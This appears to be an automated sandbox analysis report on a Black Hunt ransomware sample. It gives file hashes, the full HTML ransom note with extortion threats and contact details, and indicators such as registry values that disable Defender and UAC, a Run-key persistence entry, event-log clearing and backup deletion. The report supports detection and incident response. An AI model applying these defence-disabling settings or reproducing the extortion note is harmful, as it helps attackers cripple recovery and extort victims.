bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2

Analysis

max time kernel
204s
max time network
199s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
19/01/2024, 00:43

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General

Target

bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
Size

707KB
MD5

60c6888cf1bdcb235fa1022df4f22012
SHA1

802f7160411f14f3dcc3f0205c3bb0ae9dcffb68
SHA256

bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2
SHA512

67651e3c388ad37093d6dbeaf8e537d2185796c7d73b5d5fd510084480f351f2a82319224b7e0015ba375849c59fba5bd39e0d4e0d75dcddbfc2a098082b10a2
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1d8yvnh:6uaTmkZJ+naie5OTamgEoKxLWYch

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> JGMsiuk9uf5c3HLf </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
5076	fsutil.exe
3140	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
632	wevtutil.exe
2672	wevtutil.exe
6136	wevtutil.exe
3752	wevtutil.exe
1600	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3140	bcdedit.exe
2276	bcdedit.exe
1784	bcdedit.exe
4916	bcdedit.exe

Renames multiple (443) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4852	wbadmin.exe
4052	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\N:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\U:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\S:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\K:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\W:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\R:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\Y:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\G:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\Z:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\Q:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\T:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\X:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\V:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\J:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\M:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\I:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\P:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\B:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\H:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened (read-only)	\??\L:	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\README.html	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#BlackHunt_ReadMe.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_Private.key	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected]	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kab.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#BlackHunt_Private.key	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_Private.key	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hu.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jmc.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\cldr.md	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_Private.key	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_Private.key	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_ReadMe.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightItalic.ttf	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_ReadMe.hta	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.txt	bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe
